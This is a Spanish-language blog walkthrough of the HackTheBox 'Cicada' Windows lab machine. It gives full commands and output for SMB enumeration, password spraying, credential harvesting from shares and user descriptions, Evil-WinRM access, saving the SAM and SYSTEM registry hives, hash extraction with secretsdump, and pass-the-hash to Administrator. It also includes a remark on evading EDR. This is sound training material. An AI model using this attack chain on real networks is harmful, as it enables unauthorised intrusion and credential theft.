HackTheBox – Cicada walkthrough (Máquina Windows/Easy)

Después de varios meses (incluso años) sin redactar ninguna entrada, volvemos de nuevo a finales de este año 2024 y con energías renovadas para el año 2025. Entre los propósitos de año nuevo, esta vez, se encuentra uno claramente definido: resolver una máquina de HTB y redactar un post con la solución semanalmente. Así que, incluso antes de que termine el año, vamos con ello.

En este caso estaremos resolviendo la máquina Cicada, una máquina Windows calificada como Easy y que, en efecto, es bastante sencilla. No obstante, conviene recordar que por sencilla que parezca una máquina, en múltiples ocasiones se han visto situaciones similares en organizaciones reales, por lo que nunca vienen mal estos repasos y tareas a adicionar en nuestra checklist de pentesting interno.

En primer lugar, comenzamos con un escaneo de puertos con el objetivo de determinar qué puertos se encuentran abiertos en la máquina:

┌──(root㉿kali)-[~/HTB/CICADA]
└─# nmap -p- --open -sS --min-rate 5000 10.10.11.35 -n -Pn -oG allPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 18:58 EST
Nmap scan report for 10.10.11.35
Host is up (0.12s latency).
Not shown: 65522 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
54869/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds

Como no podía ser de otro modo, siendo una máquina Windows de HTB, nos encontramos numerosos puertos de este sistema operativo que se encuentran abiertos por defecto en controladores de dominio: puerto 53 (DNS), 88 (Kerberos), 135/139 (RPC), 445 (SMB), 5985 (WinRM)… En primer lugar, llama la atención el puerto 445 de SMB, al que siempre sugeriría enumerar por si hubiera alguna carpeta compartida con acceso público. Esto es algo muy común de ver incluso en clientes reales. En este caso, usaremos la herramienta smbmap para comprobarlo:

┌──(root㉿kali)-[~/HTB/CICADA]
└─# smbmap -H 10.10.11.35 -u Guest -p ''

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 10.10.11.35:445 Name: cicada.htb                Status: Authenticated
        Disk        Permissions     Comment
        ----        -----------     -------
        ADMIN$      NO ACCESS       Remote Admin
        C$          NO ACCESS       Default share
        DEV         NO ACCESS
        HR          READ ONLY
        IPC$        READ ONLY       Remote IPC
        NETLOGON    NO ACCESS       Logon server share 
        SYSVOL      NO ACCESS       Logon server share 
[*] Closed 1 connections                                                                             

Tal como se ha remarcado en la parte superior, se ve que existe un share denominado «HR» al que se tiene acceso público. Recordad siempre revisar este punto en vuestros pentest internos, incluso teniendo un usuario básico rebuscar en los shares del dominio puede ser tedioso, aunque de gran utilidad. Vamos a enumerar ahora el contenido del share con la herramienta smbclient.

┌──(root㉿kali)-[~/HTB/CICADA]
└─# smbclient \\\\10.10.11.35\\HR       
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Mar 14 08:29:09 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 13:31:48 2024

                4168447 blocks of size 4096. 417009 blocks available
smb: \> get Notice from HR.txt 
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \Notice
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (2.3 KiloBytes/sec) (average 2.3 KiloBytes/sec)
smb: \> exit

Hemos obtenido un fichero «Notice from HR.txt» que parece prometedor (ojo con las comillas en smbclient, que son relevantes…). Enumeramos ahora el contenido de dicho fichero:

┌──(root㉿kali)-[~/HTB/CICADA]
└─# cat Notice\ from\ HR.txt 

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

¡Genial! Tenemos una contraseña que seguramente nos servirá para hacer password spraying posteriormente (algo también muy común en entornos reales). Sin embargo, necesitamos obtener un listado de usuarios. Esto es algo que podríamos obtener de múltiples maneras en un entorno real (con un usuario básico sin privilegios enumerar el resto, a través de un diccionario y herramientas como kerbrute, haciendo OSINT…). En nuestro caso, utilizaremos el módulo RID Bruteforce integrado en nxc:

┌──(root㉿kali)-[~/HTB/CICADA]
└─# nxc smb 10.10.11.35 -u Guest -p '' --rid-brute                     
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\Guest: 
SMB         10.10.11.35     445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        513: CICADA\Domain Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        514: CICADA\Domain Guests (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        515: CICADA\Domain Computers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        516: CICADA\Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        517: CICADA\Cert Publishers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        518: CICADA\Schema Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        519: CICADA\Enterprise Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        525: CICADA\Protected Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        526: CICADA\Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1101: CICADA\DnsAdmins (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1103: CICADA\Groups (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

Hemos obtenido varios usuarios (marcados en negrita arriba). Es muy importante, de nuevo, que en entornos reales este RID Bruteforce esté restringido, de modo que un atacante no pueda enumerar usuarios de manera arbitraria en el dominio. Esto dificulta la enumeración inicial, aunque como hemos comentado anteriormente, el listado de usuarios es algo que el atacante puede obtener de manera más o menos trivial si ya dispone de un usuario básico del dominio o información obtenida con OSINT.

Procedemos ahora a llevar a cabo un ataque de password spraying para determinar si la contraseña descubierta anteriormente es utilizada por algún usuario del entorno de Directorio Activo. Para ello, hacemos uso de la herramienta kerbrute (https://github.com/ropnop/kerbrute).

┌──(root㉿kali)-[~/HTB/CICADA]
└─# cat users.txt           
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
┌──(root㉿kali)-[~/HTB/CICADA]
└─# /opt/kerbrute_linux_amd64 passwordspray -d cicada.htb --dc 10.10.11.35 users.txt 'Cicada$M6Corpb*@Lp#nZp!8'   

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 12/15/24 - Ronnie Flathers @ropnop

2024/12/15 19:17:58 >  Using KDC(s):
2024/12/15 19:17:58 >   10.10.11.35:88

2024/12/15 19:17:58 >  [+] VALID LOGIN:  michael.wrightson@cicada.htb:Cicada$M6Corpb*@Lp#nZp!8
2024/12/15 19:17:58 >  Done! Tested 5 logins (1 successes) in 0.549 seconds

Ya tenemos un primer usuario enumerado dentro del dominio. Podríamos pensar que se trata del usuario necesario para obtener el flag de user o incluso para enumerar más a fondo el share «DEV». Sin embargo, ninguna de ambas opciones fue viable. Lo siguiente que a cualquier pentester se le viene a la mente, sería lanzar BloodHound o herramientas similares… En este caso, nosotros vamos a numerar primeramente los usuarios junto a sus descripciones. De nuevo, algo muy visto en clientes reales, el uso de descripciones que no son descripciones y que contienen información sensible tal como contraseñas. Siempre es conveniente revisar esto en pentest internos e incluso en ejercicios de Red Teaming, ya que puede ser un vector de movimiento lateral o escalada gratuito totalmente.

┌──(root㉿kali)-[~/HTB/CICADA]
└─# nxc smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users 
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 
SMB         10.10.11.35     445    CICADA-DC        -Username-                    -Last PW Set-       -BadPW- -Description-       
SMB         10.10.11.35     445    CICADA-DC        Administrator                 2024-08-26 20:08:03 0       Built-in account for administering the computer/domain
SMB         10.10.11.35     445    CICADA-DC        Guest                         2024-08-28 17:26:56 0       Built-in account for guest access to the computer/domain
SMB         10.10.11.35     445    CICADA-DC        krbtgt                        2024-03-14 11:14:10 0       Key Distribution Center Service Account
SMB         10.10.11.35     445    CICADA-DC        john.smoulder                 2024-03-14 12:17:29 0        
SMB         10.10.11.35     445    CICADA-DC        sarah.dantelia                2024-03-14 12:17:29 0        
SMB         10.10.11.35     445    CICADA-DC        michael.wrightson             2024-03-14 12:17:29 0        
SMB         10.10.11.35     445    CICADA-DC        david.orelious                2024-03-14 12:17:29 0       Just in case I forget my password is aRt$Lp#7t*VQ!3
SMB         10.10.11.35     445    CICADA-DC        emily.oscars                  2024-08-22 21:20:17 0 

Ahora disponemos de un nuevo usuario, tal como se ha marcado arriba en negrita. En este caso, «david.orelious» sí tiene permisos para enumerar datos en el share «DEV» descubierto anteriormente. Dentro de dicho share, se descubre un script en PowerShell con información muy interesante (ver código debajo):

┌──(root㉿kali)-[~/HTB/CICADA]
└─# smbclient \\\\10.10.11.35\\DEV -U david.orelious -W cicada.htb
Password for [CICADA.HTB\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Mar 14 08:31:39 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 13:28:22 2024

                4168447 blocks of size 4096. 420015 blocks available
smb: \> get Backup_script.ps1 
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)
smb: \> exit
┌──(root㉿kali)-[~/HTB/CICADA]
└─# cat Backup_script.ps1 

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Ahora disponemos de un nuevo usuario «emily.oscars». Además, el hecho de que este usuario esté utilizando scripts en PowerShell y objetos de tipo «System.Management.Automation.PSCredential» hace indicar que este usuario puede tener privilegios para iniciar sesión por WinRM. Efectivamente, comprobamos este hecho y obtenemos el flag de user mediante la herramienta Evil-WinRM (https://github.com/Hackplayers/evil-winrm) de nuestros compis de HackPlayers.

┌──(root㉿kali)-[~/HTB/CICADA]
└─# evil-winrm -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -i 10.10.11.35
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami
cicada\emily.oscars
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> hostname
CICADA-DC
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> 

Para la escalada de privilegios, enumeramos los propios privilegios del usuario «emily.oscars». Como podemos apreciar, tenemos privilegios para hacer backup:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Dado que poseemos este privilegio, lo más sencillo es hacer una copia de las ramas «SAM» y «SYSTEM» y analizarlas posteriormente de manera offline para obtener el hash del usuario administrador del dominio. Este sistema es también factible en pentesting aunque no lo recomendamos en ejercicios de red teaming por el ruido y facilidad de detección para los EDR (aunque en algunos casos hemos comprobado que no detectan esta actividad denominado a los ficheros con nombres diferentes a «SAM» y «SYSTEM»… esto tal vez da para otro post…).

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> reg save HKLM\SAM SAM
The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> reg save HKLM\SYSTEM SYSTEM
The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> download SAM
                                        
Info: Downloading C:\Users\emily.oscars.CICADA\desktop\SAM to SAM
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> download SYSTEM
                                        
Info: Downloading C:\Users\emily.oscars.CICADA\desktop\SYSTEM to SYSTEM
                                        
Info: Download successful!

Finalmente, una vez obtenidas las ramas «SAM» y «SYSTEM», llevamos a cabo el análisis offline para la extracción del hash del usuario administrador del dominio con la herramienta Impacket y, con este, hacemos Pass-The-Hash para acceder al controlador de dominio con Evil-WinRM y obtenemos el flag de root.

┌──(root㉿kali)-[~/HTB/CICADA]
└─# impacket-secretsdump -sam SAM -system SYSTEM local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up... 
┌──(root㉿kali)-[~/HTB/CICADA]
└─# evil-winrm -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341 -i 10.10.11.35
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
CICADA-DC

¡Y esto es todo! Muchas gracias por leernos, como siempre. Esperemos no defraudaros y retomar la costumbre de escribir de nuevo en el blog asiduamente.

~km0xu95

Comments are closed.